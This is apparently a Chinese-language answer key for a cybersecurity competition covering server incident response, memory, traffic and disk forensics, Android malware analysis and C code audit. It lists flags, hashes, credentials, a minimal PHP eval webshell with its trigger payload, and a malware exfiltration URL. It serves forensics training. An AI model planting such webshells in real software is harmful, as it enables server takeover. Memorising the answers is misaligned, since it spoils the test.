# 参考答案

## 第一部分 网络安全事件响应

### 任务1：CentOS服务器应急响应（70分）

A集团的应用服务器被黑客入侵，该服务器的Web应用系统被上传恶意软件，系统文件被恶意软件破坏，您的团队需要帮助该公司追踪此网络攻击的来源，在服务器上进行全面的检查，包括日志信息、进程信息、系统文件、恶意文件等，从而分析黑客的攻击行为，发现系统中的漏洞，并对发现的漏洞进行修复。

### 本任务素材清单：CentOS服务器虚拟机。

受攻击的Server服务器已整体打包成虚拟机文件保存，请选手自行导入分析。用户名：root，密码：nanyidian..

注意：Server服务器的基本配置参见附录，若题目中未明确规定，请使用默认配置。

请按要求完成该部分的工作任务。

|  |  |  |
| --- | --- | --- |
| **任务1：CentOS服务器应急响应** | | |
| 序号 | 任务内容 | 答案 |
| 1 | 请提交网站管理员的用户名和密码 | manager1/863211 |
| 2 | 攻击者通过应用后台修改了某文件获取了服务器权限，请提交该文件的文件名 | footer.php |
| 3 | 攻击者通过篡改文件后，可通过该网站官网进行任意未授权命令执行，请提交利用该木马执行phpinfo的payload,例如:/shell.php?cmd=phpinfo(); | /?pass=phpinfo(); |
| 4 | 攻击者进一步留下的免杀的webshell在网站中，请提交该shell的原文最简式，例如： <?php ...?> | <?php eval($\_POST['loveU']);?> |
| 5 | 攻击者修改了某文件，导致webshell删除后会自动生成，请提交该文件的绝对路径 | /etc/crontab |
| 6 | 请提交网站服务连接数据库使用的数据库账号和密码 | wordpress/wordpress-pass |
| 7 | 请提交攻击者在数据库中留下的信息，格式为：flag{...} | flag{th1s\_ls\_fl44444g1} |

## 第二部分 数字取证调查

### 任务2 ：基于Windows的内存取证（40分）

A集团某服务器系统感染恶意程序，导致系统关键文件被破坏，请分析A集团提供的系统镜像和内存镜像，找到系统镜像中的恶意软件，分析恶意软件行为。

### 本任务素材清单：内存镜像（\*.raw）。

请按要求完成该部分的工作任务。

|  |  |  |
| --- | --- | --- |
| **任务2：基于Windows的内存取证** | | |
| 序号 | 任务内容 | 答案 |
| 1 | 请指出内存中疑似恶意进程 | .hack.ex |
| 2 | 请指出该员工使用的公司OA平台的密码 | liuling7541 |
| 3 | 黑客传入一个木马文件并做了权限维持，请问木马文件名是什么 | h4ck3d! |
| 4 | 请提交该计算机中记录的重要联系人的家庭住址 | 秋水省雁荡市碧波区千屿山庄1号 |

### 任务3：通信数据分析取证（50分）

A集团的网络安全监控系统发现恶意份子正在实施高级可持续攻击（APT），并抓取了部分可疑流量包。请您根据捕捉到的流量包，搜寻出网络攻击线索，分解出隐藏的恶意程序，并分析恶意程序的行为。

### 本任务素材清单：捕获的通信数据文件。

请按要求完成该部分的工作任务。

|  |  |  |
| --- | --- | --- |
| **任务3：通信数据分析取证** | | |
| 序号 | 任务内容 | 答案 |
| 1 | 请提交网络数据包中传输的可执行的恶意程序文件名 | happy.docx |
| 2 | 请提交该恶意程序下载载荷的ip和端口 | 10.78.128.154:9090 |
| 3 | 请提交恶意程序载荷读取的本地文件名（含路径） | c:\tmp\secret.txt |
| 4 | 请提交恶意程序读取的本地文件的内容 | f6dff95c2ec911ebbede0cdd24f6bd6d |

### 任务4：基于Linux计算机单机取证（60分）

对给定取证镜像文件进行分析，搜寻证据关键字（线索关键字为“evidence 1”、“evidence 2”、……、“evidence 10”，有文本形式也有图片形式，不区分大小写），请提取和固定比赛要求的标的证据文件，并按样例的格式要求填写相关信息，证据文件在总文件数中所占比例不低于15%。取证的信息可能隐藏在正常的、已删除的或受损的文件中，您可能需要运用编码转换技术、加解密技术、隐写技术、数据恢复技术，还需要熟悉常用的文件格式（如办公文档、压缩文档、图片等）。

### 本任务素材清单：取证镜像文件。

请按要求完成该部分的工作任务。

|  |  |  |
| --- | --- | --- |
| **任务4：基于Linux计算机单机取证** | | |
| 证据编号 | 在取证镜像中的文件名 | 镜像中原文件Hash码（MD5，不区分大小写） |
| evidence 1 | lili.gif | 900EA4D6698613298AEDE3DF36BA92B8 |
| evidence 2 | qwe.dll | FB99F9C2C207281E0CD7A29E976F1CDD |
| evidence 3 | dudu.xlsx | 2437FD58491FBCA528B49B4AC7089425 |
| evidence 4 | vbdg.docx | 6B8DFFA9586C6D99B559C79A2105D855 |
| evidence 5 | four\_Digit.jpg | 509998568BEAFA5D6C950493220F783D |
| evidence 6 | jiko.py | 68BB1999633DBB422C164AA4F664897B |
| evidence 7 | INbud.bmp | 9CEADE34EB17E135E24CB7937A600ADC |
| evidence 8 | 0N0n.jpg | 45EB5309A774F1DB0B3B996584EB4326 |
| evidence 9 | buhu | 900AA268F3BF119233CB2F05D5B8FAFD |
| evidence 10 | yiji.doc | F70BBEC2D9AC8A4658D262D2695824EA |

## 第三部分 应用程序安全

### 任务5：Android恶意程序分析（50分）

A集团发现其发布的Android移动应用程序文件遭到非法篡改，您的团队需要协助A集团对该恶意程序样本进行逆向分析、对其攻击/破坏的行为进行调查取证。

### 本任务素材清单：Android移动应用程序文件。

请按要求完成该部分的工作任务。

|  |  |  |
| --- | --- | --- |
| **任务5：Android恶意程序分析** | | |
| **序号** | **任务内容** | **答案** |
| 1 | 提交素材中的恶意应用回传数据的url地址 | http://wwww.somethingOrNothing.com/r/r/r/r |
| 2 | 提交素材中的恶意代码保存数据文件名称（含路径） | /storage/emulated/0/Android/data/com.example.myapplication/files/.a/.a |
| 3 | 提交素材中的恶意行为发起的dex的SHA1签名值 | bb5adc13d8cedb7b34187d8293a92a5ee02996b0 |
| 4 | 描述素材中恶意代码的行为 | 读取并删除通讯录联系人数据，加密后写入本地文件，并上传到指定网址。 |

### 任务6：C代码审计（30分）

代码审计是指对源代码进行检查，寻找代码存在的脆弱性，这是一项需要多方面技能的技术。作为一项软件安全检查工作，代码安全审查是非常重要的一部分，因为大部分代码从语法和语义上来说是正确的，但存在着可能被利用的安全漏洞，你必须依赖你的知识和经验来完成这项工作。

### 本任务素材清单：C源代码文件。

请按要求完成该部分的工作任务。

|  |  |  |
| --- | --- | --- |
| **任务6：C代码审计** | | |
| **序号** | **任务内容** | **答案** |
| 1 | 请指出本段代码存在什么漏洞 | 缓冲区溢出 |
| 2 | 请指出存在漏洞的函数名称，例如：scanf | fgets |